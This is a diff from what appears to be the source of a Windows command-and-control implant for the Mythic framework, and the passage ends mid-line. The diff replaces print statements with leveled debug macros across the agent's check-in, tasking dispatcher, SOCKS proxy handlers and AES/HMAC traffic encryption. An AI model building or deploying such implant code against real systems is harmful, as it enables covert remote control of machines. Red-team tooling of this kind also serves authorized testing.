diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile index 81f3547..6e8ac06 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile @@ -5,7 +5,51 @@ CC = x86_64-w64-mingw32-gcc CFLAGS = -Wall -w -IInclude LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -mwindows LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -DFLAGS = -D_DEBUG -DDEBUG_SOCKS -g + +# Debug parameters (can be overridden from command line) +# DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4 +# DEBUG_OUTPUT: console=0, file=1 +DEBUG_LEVEL ?= 0 +DEBUG_OUTPUT ?= 0 + +# Convert DEBUG_LEVEL string to number if needed +ifeq ($(DEBUG_LEVEL),none) + DEBUG_LEVEL_NUM = 0 +else ifeq ($(DEBUG_LEVEL),errors) + DEBUG_LEVEL_NUM = 1 +else ifeq ($(DEBUG_LEVEL),warnings) + DEBUG_LEVEL_NUM = 2 +else ifeq ($(DEBUG_LEVEL),info) + DEBUG_LEVEL_NUM = 3 +else ifeq ($(DEBUG_LEVEL),all) + DEBUG_LEVEL_NUM = 4 +else + # Assume it's already a number + DEBUG_LEVEL_NUM = $(DEBUG_LEVEL) +endif + +# Convert DEBUG_OUTPUT string to number if needed +ifeq ($(DEBUG_OUTPUT),console) + DEBUG_OUTPUT_NUM = 0 +else ifeq ($(DEBUG_OUTPUT),file) + DEBUG_OUTPUT_NUM = 1 +else + # Assume it's already a number + DEBUG_OUTPUT_NUM = $(DEBUG_OUTPUT) +endif + +# Debug flags based on level +DEBUG_FLAGS = -DDEBUG_SOCKS -g +ifeq ($(DEBUG_LEVEL_NUM),0) + # No debug + DEBUG_FLAGS = +else + # Debug enabled - add defines for debug level and output + # DEBUG_LEVEL: 0=NONE, 1=ERR, 2=WRN, 3=INF, 4=ALL + # DEBUG_OUTPUT: 0=CONSOLE, 1=FILE + DEBUG_FLAGS += -DDEBUG_LEVEL=$(DEBUG_LEVEL_NUM) + DEBUG_FLAGS += -DDEBUG_OUTPUT=$(DEBUG_OUTPUT_NUM) +endif # Directories SRC_FILES := *.c @@ -28,19 +72,14 @@ $(BUILD_DIR)/cazalla.exe: $(SRC_FILES) $(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS) $(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES) - $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DFLAGS) + $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DEBUG_FLAGS) # DLL Target $(BUILD_DIR)/cazalla.dll: $(SRC_FILES) $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS) $(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES) - $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS) - -# Optional: file-logging debug build (writes to C:\\Temp\\Ra.log) -debug_log: $(BUILD_DIR)/cazalla-debug-log.exe -$(BUILD_DIR)/cazalla-debug-log.exe: $(SRC_FILES) - $(CC) $^ -o $@ $(CFLAGS) -D_EXE -D_DEBUG_RELEASE $(LFLAGS_CONSOLE) $(DFLAGS) + $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DEBUG_FLAGS) # Clean up clean: diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c index 7a18ab4..48c8ae0 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c @@ -3,22 +3,14 @@ #include "Config.h" #include "socks_manager.h" -#ifdef DEBUG_SOCKS -#define DBG_PRINTF(...) do { fprintf(stderr, "[MAINDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) -#else -#define DBG_PRINTF(...) ((void)0) -#endif - CONFIG_CAZALLA* cazallaConfig = NULL; VOID cazallaMain() { - - printf("[CAZALLA] Inicializando configuración de Cazalla\n"); - fflush(stdout); + _inf("Inicializando configuración de Cazalla"); cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA)); if (!cazallaConfig) { - _err("Error: fallo en LocalAlloc para cazallaConfig.\n"); + _err("Error: fallo en LocalAlloc para cazallaConfig"); return; } @@ -35,26 +27,23 @@ VOID cazallaMain() { cazallaConfig->encryptionEnabled = ENCRYPTION_ENABLED; // Debug: print the raw values - printf("[CAZALLA] DEBUG: ENCRYPTION_ENABLED = %d\n", ENCRYPTION_ENABLED); - printf("[CAZALLA] DEBUG: AESPSK_KEY = %s\n", AESPSK_KEY); - printf("[CAZALLA] DEBUG: AESPSK_KEY length = %zu\n", strlen(AESPSK_KEY)); - fflush(stdout); + _dbg("ENCRYPTION_ENABLED = %d", ENCRYPTION_ENABLED); + _dbg("AESPSK_KEY = %s", AESPSK_KEY); + _dbg("AESPSK_KEY length = %zu", strlen(AESPSK_KEY)); // Initialize AESPSK encryption if enabled if (cazallaConfig->encryptionEnabled) { - printf("[CAZALLA] Inicializando cifrado AES256-HMAC...\n"); - fflush(stdout); + _inf("Inicializando cifrado AES256-HMAC..."); if (crypto_init_aespsk(AESPSK_KEY)) { - printf("[CAZALLA] Cifrado habilitado\n"); + _inf("Cifrado habilitado"); } else { - printf("[CAZALLA] ERROR: Falló la inicialización del cifrado\n"); + _err("Falló la inicialización del cifrado"); cazallaConfig->encryptionEnabled = FALSE; } } else { - printf("[CAZALLA] Cifrado deshabilitado\n"); + _inf("Cifrado deshabilitado"); } - fflush(stdout); - printf("[CAZALLA] Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u\n", + _dbg("Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u", cazallaConfig->idAgente, cazallaConfig->hostName, cazallaConfig->puertoHttp, @@ -63,32 +52,28 @@ VOID cazallaMain() { cazallaConfig->endPoint, cazallaConfig->userAgent, cazallaConfig->tiempoSleep); - fflush(stdout); - printf("[CAZALLA] Iniciando primer checkin...\n"); - fflush(stdout); + _inf("Iniciando primer checkin..."); PAnalizador respuestaAnalizador = checkin(); if (!respuestaAnalizador) { - printf("[CAZALLA] Error en el primer checkin, cerrando.\n"); - fflush(stdout); + _err("Error en el primer checkin, cerrando"); return; } parseChecking(respuestaAnalizador); - printf("[CAZALLA] Entrando en bucle principal (rutina). Sleep inicial: %u ms\n", cazallaConfig->tiempoSleep); - fflush(stdout); + _inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", cazallaConfig->tiempoSleep); while (TRUE) { rutina(); /* Si SOCKS está activo, reducir sleep para mejorar latencia */ if (socks_proxy_active) { - DBG_PRINTF("SOCKS activo -> checkin rápido (100 ms)"); + _dbg("SOCKS activo -> checkin rápido (100 ms)"); Sleep(100); } else { - DBG_PRINTF("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep); + _dbg("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep); Sleep(cazallaConfig->tiempoSleep); } } @@ -96,5 +81,5 @@ VOID cazallaMain() { VOID setUUID(PCHAR newUUID) { cazallaConfig->idAgente = newUUID; - DBG_PRINTF("UUID actualizado: %s", newUUID); + _dbg("UUID actualizado: %s", newUUID); } diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c index 48cbba0..db6c564 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c @@ -5,11 +5,6 @@ #pragma comment(lib, "iphlpapi.lib") #include -#ifdef DEBUG_SOCKS -#define DBG_PRINTF(...) do { fprintf(stderr, "[CHKDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) -#else -#define DBG_PRINTF(...) ((void)0) -#endif // === Obtener Direcciones IPs === UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) { @@ -126,8 +121,7 @@ static VOID procesarSocksEntrante(PAnalizador respuesta) { (void)respuesta; } Check-in principal con soporte SOCKS ========================================================== */ PAnalizador checkin() { - printf("[CHECKIN] Iniciando checkin\n"); - fflush(stdout); + _inf("Iniciando checkin"); UINT32 numeroDeIPs = 0; PPaquete checkin = nuevoPaquete(CHECKIN, TRUE); @@ -155,20 +149,18 @@ PAnalizador checkin() { // === When mythic_encrypts=True, agent sends plaintext === // The C2 profile (HTTP) handles encryption at HTTP layer // No need for ECC key exchange in checkin - printf("[CHECKIN] Enviando paquete inicial (plaintext, C2 profile handles encryption)\n"); - fflush(stdout); + _dbg("Enviando paquete inicial (plaintext, C2 profile handles encryption)"); PAnalizador respuestaAnalizador = mandarPaquete(checkin); liberarPaquete(checkin); if (!respuestaAnalizador) { - printf("[CHECKIN] Error: respuestaAnalizador NULL. Cierre inminente.\n"); - fflush(stdout); + _err("Error: respuestaAnalizador NULL. Cierre inminente"); return NULL; } - DBG_PRINTF("checkin(): respuesta recibida, procesando tráfico SOCKS si existe"); + _dbg("checkin(): respuesta recibida, procesando tráfico SOCKS si existe"); procesarSocksEntrante(respuestaAnalizador); - DBG_PRINTF("checkin(): completado"); + _dbg("checkin(): completado"); return respuestaAnalizador; } diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index 3444b72..f2a8eaf 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -3,39 +3,27 @@ #include "socks_manager.h" #include "paquete.h" -#ifdef DEBUG_SOCKS -#define DBG_PRINTF(...) do { fprintf(stderr, "[CMDDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) -#else -#define DBG_PRINTF(...) ((void)0) -#endif - /* Forward: handlers for the new commands */ static void startSocksHandler(PAnalizador analizadorTarea); static void stopSocksHandler(PAnalizador analizadorTarea); BOOL handleGetTasking(PAnalizador obtenerTarea) { - printf("[HANDLER] handleGetTasking() llamado\n"); - fflush(stdout); + _dbg("handleGetTasking() llamado"); UINT32 numeroTareas = getInt32(obtenerTarea); - printf("[HANDLER] Número de tareas: %u\n", numeroTareas); - fflush(stdout); + _dbg("Número de tareas: %u", numeroTareas); if (numeroTareas) { - DBG_PRINTF("[Tareas] hay %d tareas !\n", numeroTareas); + _dbg("Hay %d tareas", numeroTareas); } for (UINT32 i = 0; i < numeroTareas; i++) { SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID - printf("[HANDLER] Procesando tarea %u/%u, tamaño: %zu\n", i+1, numeroTareas, tamanoTarea); - fflush(stdout); + _dbg("Procesando tarea %u/%u, tamaño: %zu", i+1, numeroTareas, tamanoTarea); BYTE tarea = getByte(obtenerTarea); - printf("[HANDLER] Comando recibido: 0x%02X (%d)\n", tarea, tarea); - fflush(stdout); - - DBG_PRINTF("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea); + _dbg("Comando recibido: 0x%02X (%d)", tarea, tarea); PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea); PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea); @@ -65,13 +53,13 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { } else if (tarea == DOWNLOAD_CMD) { DescargarFichero(analizadorTarea); } else if (tarea == START_SOCKS_CMD) { - DBG_PRINTF("Received START_SOCKS_CMD"); + _dbg("Received START_SOCKS_CMD"); startSocksHandler(analizadorTarea); } else if (tarea == STOP_SOCKS_CMD) { - DBG_PRINTF("Received STOP_SOCKS_CMD"); + _dbg("Received STOP_SOCKS_CMD"); stopSocksHandler(analizadorTarea); } else { - DBG_PRINTF("[Tarea] Tarea desconocida: 0x%02x\n", tarea); + _wrn("Tarea desconocida: 0x%02x", tarea); // liberar analizador si no será usado por otro handler if (analizadorTarea) liberarAnalizador(analizadorTarea); } @@ -81,20 +69,14 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { } BOOL commandDispatch(PAnalizador respuesta) { - - printf("[DISPATCH] Respuesta tiene %zu bytes\n", respuesta->tamano); - fflush(stdout); + _dbg("Respuesta tiene %zu bytes", respuesta->tamano); // Debug: imprimir primeros bytes if (respuesta->tamano > 0) { - printf("[DISPATCH] Primeros 8 bytes: "); - fflush(stdout); + _dbg("Primeros 8 bytes: "); for (SIZE_T i = 0; i < (respuesta->tamano > 8 ? 8 : respuesta->tamano); i++) { - printf("0x%02X ", respuesta->original[i]); - fflush(stdout); + _dbg(" 0x%02X ", respuesta->original[i]); } - printf("\n"); - fflush(stdout); } // === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio === @@ -102,32 +84,26 @@ BOOL commandDispatch(PAnalizador respuesta) { // Necesitamos leer y verificar el UUID primero SIZE_T uuidLen = 36; PCHAR callback_uuid = getString(respuesta, &uuidLen); - printf("[DISPATCH] UUID del callback: %.*s\n", (int)uuidLen, callback_uuid); - fflush(stdout); + _dbg("UUID del callback: %.*s", (int)uuidLen, callback_uuid); // Verificar que el UUID sea correcto (opcional, para debug) if (uuidLen != 36) { - printf("[DISPATCH] WARNING: UUID length is not 36 bytes (%zu)\n", uuidLen); - fflush(stdout); + _wrn("UUID length is not 36 bytes (%zu)", uuidLen); } BYTE tipoRespuesta = getByte(respuesta); - printf("[DISPATCH] Tipo de respuesta: 0x%02X\n", tipoRespuesta); - fflush(stdout); + _dbg("Tipo de respuesta: 0x%02X", tipoRespuesta); if (tipoRespuesta == GET_TASKING) { - printf("[DISPATCH] Llamando handleGetTasking()\n"); - fflush(stdout); + _dbg("Llamando handleGetTasking()"); return handleGetTasking(respuesta); } else if (tipoRespuesta == POST_RESPONSE) { - printf("[DISPATCH] Respuesta POST_RESPONSE\n"); - fflush(stdout); + _dbg("Respuesta POST_RESPONSE"); return TRUE; } - printf("[DISPATCH] Tipo desconocido\n"); - fflush(stdout); + _wrn("Tipo desconocido"); return TRUE; } @@ -138,14 +114,12 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) { // Primero leemos el UUID que Mythic agrega SIZE_T tamanoUuid = 36; PCHAR callback_uuid = getString(respuestaAnalizador, &tamanoUuid); - printf("[CHECKIN] UUID del callback recibido: %.*s\n", (int)tamanoUuid, callback_uuid); - fflush(stdout); + _dbg("UUID del callback recibido: %.*s", (int)tamanoUuid, callback_uuid); // Luego leemos el tipo de mensaje BYTE tipoMensaje = getByte(respuestaAnalizador); if (tipoMensaje != CHECKIN) { - printf("[CHECKIN] ERROR: Expected CHECKIN (0x%02X) but got 0x%02X\n", CHECKIN, tipoMensaje); - fflush(stdout); + _err("Expected CHECKIN (0x%02X) but got 0x%02X", CHECKIN, tipoMensaje); liberarAnalizador(respuestaAnalizador); return FALSE; } @@ -155,7 +129,7 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) { PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid); setUUID(nuevoUuid); - DBG_PRINTF("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid); + _dbg("Tenemos nuevo UUID ! --> %s", nuevoUuid); // === Nota: Cifrado AESPSK ya inicializado en cazallaMain() === // La clave AES se inyecta en tiempo de compilación, no se deriva en runtime @@ -168,8 +142,7 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) { BOOL rutina() { - printf("[RUTINA] Enviando GET_TASKING...\n"); - fflush(stdout); + _dbg("Enviando GET_TASKING..."); PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE); addInt32(obtenerTarea, NUMBER_OF_TASKS); @@ -177,13 +150,11 @@ BOOL rutina() { Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea); // sin respuesta if (!respuestaAnalizador) { - printf("[RUTINA] ERROR: No se recibió respuesta\n"); - fflush(stdout); + _err("No se recibió respuesta"); return FALSE; } - printf("[RUTINA] Respuesta recibida, dispatch...\n"); - fflush(stdout); + _dbg("Respuesta recibida, dispatch..."); commandDispatch(respuestaAnalizador); @@ -206,7 +177,7 @@ BOOL rutina() { - send response back to Mythic ============================ */ static void startSocksHandler(PAnalizador analizadorTarea) { - DBG_PRINTF("startSocksHandler() enter"); + _dbg("startSocksHandler() enter"); // Leer el UUID del task (primeros 36 bytes) SIZE_T uuidLen = 36; @@ -214,7 +185,7 @@ static void startSocksHandler(PAnalizador analizadorTarea) { // Leer el puerto UINT32 localPort = (UINT32)getInt32(analizadorTarea); - DBG_PRINTF("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort); + _dbg("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort); if (localPort == 0) localPort = 1080; @@ -230,10 +201,10 @@ static void startSocksHandler(PAnalizador analizadorTarea) { // Crear paquete temporal para el output PPaquete salida = nuevoPaquete(0, FALSE); if (rc == 0) { - DBG_PRINTF("socks_manager_start_proxy(%u) OK", localPort); + _dbg("socks_manager_start_proxy(%u) OK", localPort); PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy started on port %u\n", localPort); } else { - DBG_PRINTF("socks_manager_start_proxy(%u) rc=%d", localPort, rc); + _err("socks_manager_start_proxy(%u) rc=%d", localPort, rc); PackageAddFormatPrintf(salida, FALSE, "Failed to start SOCKS proxy on port %u (rc=%d)\n", localPort, rc); } addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); @@ -256,18 +227,18 @@ static void startSocksHandler(PAnalizador analizadorTarea) { - send response back to Mythic ============================ */ static void stopSocksHandler(PAnalizador analizadorTarea) { - DBG_PRINTF("stopSocksHandler() enter"); + _dbg("stopSocksHandler() enter"); // Leer el UUID del task (primeros 36 bytes) SIZE_T uuidLen = 36; PCHAR taskUuid = getString(analizadorTarea, &uuidLen); - DBG_PRINTF("stopSocksHandler: taskId=%.*s", 36, taskUuid); + _dbg("stopSocksHandler: taskId=%.*s", 36, taskUuid); int rc = socks_manager_stop_proxy(); - DBG_PRINTF("socks_manager_stop_proxy() rc=%d", rc); + _dbg("socks_manager_stop_proxy() rc=%d", rc); socks_manager_cleanup(); - DBG_PRINTF("socks_manager_cleanup() done"); + _dbg("socks_manager_cleanup() done"); // Crear respuesta para Mythic PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c index b0d0ece..33558a3 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/crypto.c @@ -59,7 +59,7 @@ void crypto_cleanup(void) { // Initialize AESPSK key from base64 string (Mythic format) BOOL crypto_init_aespsk(const char *aespsk_key_b64) { if (!aespsk_key_b64 || strlen(aespsk_key_b64) == 0) { - printf("[CRYPTO] No AESPSK key provided\n"); + _err("No AESPSK key provided"); g_encryptionEnabled = 0; return FALSE; } @@ -69,12 +69,12 @@ BOOL crypto_init_aespsk(const char *aespsk_key_b64) { SIZE_T decoded_len = 0; if (!base64_decode(aespsk_key_b64, &decoded, &decoded_len)) { - printf("[CRYPTO] Failed to decode AESPSK key\n"); + _err("Failed to decode AESPSK key"); return FALSE; } if (decoded_len != AES_KEY_SIZE) { - printf("[CRYPTO] AESPSK key length is %zu, expected %d\n", decoded_len, AES_KEY_SIZE); + _err("AESPSK key length is %zu, expected %d", decoded_len, AES_KEY_SIZE); if (decoded) LocalFree(decoded); return FALSE; } @@ -85,7 +85,7 @@ BOOL crypto_init_aespsk(const char *aespsk_key_b64) { if (decoded) LocalFree(decoded); - printf("[CRYPTO] AESPSK key initialized successfully (encryption enabled)\n"); + _inf("AESPSK key initialized successfully (encryption enabled)"); return TRUE; } @@ -98,33 +98,32 @@ BOOL crypto_is_encryption_enabled(void) { // Format: [IV(16)][Ciphertext with PKCS7][HMAC(32)] BOOL CryptoMythicEncryptPackage(void* package) { PPaquete pkg = (PPaquete)package; - printf("[CRYPTO] === CryptoMythicEncryptPackage START ===\n"); + _inf("=== CryptoMythicEncryptPackage START ==="); if (!pkg || !pkg->buffer || pkg->length == 0) { - printf("[CRYPTO] ERROR: Invalid package (pkg=%p, buffer=%p, length=%zu)\n", - pkg, pkg ? pkg->buffer : NULL, pkg ? pkg->length : 0); + _err("Invalid package (pkg=%p, buffer=%p, length=%zu)", + pkg, pkg ? pkg->buffer : NULL, pkg ? pkg->length : 0); return FALSE; } - printf("[CRYPTO] Input package: length=%zu bytes\n", pkg->length); + _dbg("Input package: length=%zu bytes", pkg->length); if (!g_aesKeySet) { - printf("[CRYPTO] ERROR: AES key not set\n"); + _err("AES key not set"); return FALSE; } - printf("[CRYPTO] AES key is set (key length: %d bytes)\n", AES_KEY_SIZE); + _dbg("AES key is set (key length: %d bytes)", AES_KEY_SIZE); // Generate random IV BYTE iv[IVSIZE]; - printf("[CRYPTO] Generating random IV (%d bytes)...\n", IVSIZE); + _dbg("Generating random IV (%d bytes)...", IVSIZE); for (int i = 0; i < IVSIZE; i++) { iv[i] = (BYTE)(rand() % 0xFF); } - printf("[CRYPTO] IV generated (hex): "); + _dbg("IV generated (hex): "); for (int i = 0; i < IVSIZE; i++) { - printf("%02x ", iv[i]); + _dbg(" %02x ", iv[i]); } - printf("\n"); // Calculate padding needed SIZE_T datalen = pkg->length; @@ -132,139 +131,134 @@ BOOL CryptoMythicEncryptPackage(void* package) { if (padding_needed == 0) { padding_needed = AES_BLOCKLEN; } - printf("[CRYPTO] Data length: %zu bytes\n", datalen); - printf("[CRYPTO] Padding needed: %zu bytes (block size: %d)\n", padding_needed, AES_BLOCKLEN); + _dbg("Data length: %zu bytes", datalen); + _dbg("Padding needed: %zu bytes (block size: %d)", padding_needed, AES_BLOCKLEN); // Add padding - printf("[CRYPTO] Adding PKCS7 padding...\n"); + _dbg("Adding PKCS7 padding..."); pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + padding_needed, LMEM_MOVEABLE | LMEM_ZEROINIT); if (!pkg->buffer) { - printf("[CRYPTO] ERROR: Failed to add padding\n"); + _err("Failed to add padding"); return FALSE; } memset((PBYTE)pkg->buffer + pkg->length, (BYTE)padding_needed, padding_needed); SIZE_T padded_len = pkg->length + padding_needed; pkg->length = padded_len; - printf("[CRYPTO] After padding: %zu bytes\n", padded_len); + _dbg("After padding: %zu bytes", padded_len); // Encrypt with AES-256-CBC - printf("[CRYPTO] Initializing AES context with IV...\n"); + _dbg("Initializing AES context with IV..."); struct AES_ctx ctx; AES_init_ctx_iv(&ctx, g_aesKey, iv); - printf("[CRYPTO] Encrypting with AES-256-CBC...\n"); + _inf("Encrypting with AES-256-CBC..."); AES_CBC_encrypt_buffer(&ctx, (uint8_t*)pkg->buffer, padded_len); - printf("[CRYPTO] Encryption complete, ciphertext: %zu bytes\n", padded_len); + _dbg("Encryption complete, ciphertext: %zu bytes", padded_len); // Prepend IV before the encrypted data - printf("[CRYPTO] Prepending IV (%d bytes) before ciphertext...\n", IVSIZE); + _dbg("Prepending IV (%d bytes) before ciphertext...", IVSIZE); pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + IVSIZE, LMEM_MOVEABLE | LMEM_ZEROINIT); if (!pkg->buffer) { - printf("[CRYPTO] ERROR: Failed to prepend IV\n"); + _err("Failed to prepend IV"); return FALSE; } memmove((PBYTE)pkg->buffer + IVSIZE, pkg->buffer, pkg->length); memcpy(pkg->buffer, iv, IVSIZE); pkg->length += IVSIZE; - printf("[CRYPTO] After prepending IV: %zu bytes (IV: %d + ciphertext: %zu)\n", - pkg->length, IVSIZE, padded_len); + _dbg("After prepending IV: %zu bytes (IV: %d + ciphertext: %zu)", + pkg->length, IVSIZE, padded_len); // Calculate HMAC (IV + Ciphertext) - printf("[CRYPTO] Calculating HMAC-SHA256 over IV + Ciphertext...\n"); + _inf("Calculating HMAC-SHA256 over IV + Ciphertext..."); PBYTE hmac = (PBYTE)malloc(SHA256_HASH_SIZE); SIZE_T hmac_size = SHA256_HASH_SIZE; - printf("[CRYPTO] HMAC input length: %zu bytes (for HMAC calculation)\n", pkg->length); + _dbg("HMAC input length: %zu bytes (for HMAC calculation)", pkg->length); hmac_sha256( g_aesKey, AES_KEY_SIZE, pkg->buffer, pkg->length, hmac, hmac_size ); - printf("[CRYPTO] HMAC calculated (hex): "); + _dbg("HMAC calculated (hex): "); for (size_t i = 0; i < hmac_size; i++) { - printf("%02x ", hmac[i]); + _dbg(" %02x ", hmac[i]); } - printf("\n"); // Append HMAC - printf("[CRYPTO] Appending HMAC (%zu bytes)...\n", SHA256_HASH_SIZE); + _dbg("Appending HMAC (%zu bytes)...", SHA256_HASH_SIZE); pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + SHA256_HASH_SIZE, LMEM_MOVEABLE | LMEM_ZEROINIT); if (!pkg->buffer) { free(hmac); - printf("[CRYPTO] ERROR: Failed to append HMAC\n"); + _err("Failed to append HMAC"); return FALSE; } memcpy((PBYTE)pkg->buffer + pkg->length, hmac, SHA256_HASH_SIZE); pkg->length += SHA256_HASH_SIZE; free(hmac); - printf("[CRYPTO] === ENCRYPTION COMPLETE ===\n"); - printf("[CRYPTO] Final encrypted package: %zu bytes\n", pkg->length); - printf("[CRYPTO] Format: [IV(16)][Ciphertext(%zu)][HMAC(32)]\n", padded_len); - fflush(stdout); + _inf("=== ENCRYPTION COMPLETE ==="); + _dbg("Final encrypted package: %zu bytes", pkg->length); + _dbg("Format: [IV(16)][Ciphertext(%zu)][HMAC(32)]", padded_len); return TRUE; } // AES decrypt parser for Mythic (based on Xenon implementation) BOOL CryptoMythicDecryptParser(void* analizador) { PAnalizador parser = (PAnalizador)analizador; - printf("[CRYPTO] === CryptoMythicDecryptParser START ===\n"); + _inf("=== CryptoMythicDecryptParser START ==="); if (!parser || !parser->buffer || parser->tamano < (IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE)) { - printf("[CRYPTO] ERROR: Invalid parser (parser=%p, buffer=%p, size=%zu)\n", - parser, parser ? parser->buffer : NULL, parser ? parser->tamano : 0); - printf("[CRYPTO] Minimum required: %d bytes\n", IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE); + _err("Invalid parser (parser=%p, buffer=%p, size=%zu)", + parser, parser ? parser->buffer : NULL, parser ? parser->tamano : 0); + _err("Minimum required: %d bytes", IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE); return FALSE; } - printf("[CRYPTO] Input parser: size=%zu bytes\n", parser->tamano); + _dbg("Input parser: size=%zu bytes", parser->tamano); // Log first bytes of encrypted data - printf("[CRYPTO] Encrypted data preview (hex, first 64 bytes): "); + _dbg("Encrypted data preview (hex, first 64 bytes): "); for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) { - printf("%02x ", parser->buffer[i]); - if ((i + 1) % 32 == 0) printf("\n[CRYPTO] "); + _dbg(" %02x ", parser->buffer[i]); + if ((i + 1) % 32 == 0) _dbg("\n"); } - printf("\n"); if (!g_aesKeySet) { - printf("[CRYPTO] ERROR: AES key not set\n"); + _err("AES key not set"); return FALSE; } - printf("[CRYPTO] AES key is set\n"); + _dbg("AES key is set"); // Extract HMAC from end PBYTE hmac_provided = parser->buffer + parser->tamano - SHA256_HASH_SIZE; SIZE_T encrypted_data_length = parser->tamano - IVSIZE - SHA256_HASH_SIZE; - printf("[CRYPTO] === EXTRACTING COMPONENTS ===\n"); - printf("[CRYPTO] Total size: %zu bytes\n", parser->tamano); - printf("[CRYPTO] HMAC offset: %zu bytes from start\n", parser->tamano - SHA256_HASH_SIZE); - printf("[CRYPTO] Encrypted data length (without IV and HMAC): %zu bytes\n", encrypted_data_length); - printf("[CRYPTO] Expected format: [IV(16)][Ciphertext(%zu)][HMAC(32)]\n", encrypted_data_length); + _dbg("=== EXTRACTING COMPONENTS ==="); + _dbg("Total size: %zu bytes", parser->tamano); + _dbg("HMAC offset: %zu bytes from start", parser->tamano - SHA256_HASH_SIZE); + _dbg("Encrypted data length (without IV and HMAC): %zu bytes", encrypted_data_length); + _dbg("Expected format: [IV(16)][Ciphertext(%zu)][HMAC(32)]", encrypted_data_length); // Extract and log IV BYTE *iv = parser->buffer; - printf("[CRYPTO] IV (first 16 bytes, hex): "); + _dbg("IV (first 16 bytes, hex): "); for (int i = 0; i < IVSIZE; i++) { - printf("%02x ", iv[i]); + _dbg(" %02x ", iv[i]); } - printf("\n"); // Log HMAC provided - printf("[CRYPTO] HMAC provided (last 32 bytes, hex): "); + _dbg("HMAC provided (last 32 bytes, hex): "); for (size_t i = 0; i < SHA256_HASH_SIZE; i++) { - printf("%02x ", hmac_provided[i]); + _dbg(" %02x ", hmac_provided[i]); } - printf("\n"); // Verify HMAC - printf("[CRYPTO] === VERIFYING HMAC ===\n"); - printf("[CRYPTO] Calculating HMAC over %zu bytes (IV + Ciphertext)\n", IVSIZE + encrypted_data_length); + _inf("=== VERIFYING HMAC ==="); + _dbg("Calculating HMAC over %zu bytes (IV + Ciphertext)", IVSIZE + encrypted_data_length); PBYTE hmac_calculated = (PBYTE)malloc(SHA256_HASH_SIZE); if (!hmac_calculated) { - printf("[CRYPTO] ERROR: Failed to allocate HMAC buffer\n"); + _err("Failed to 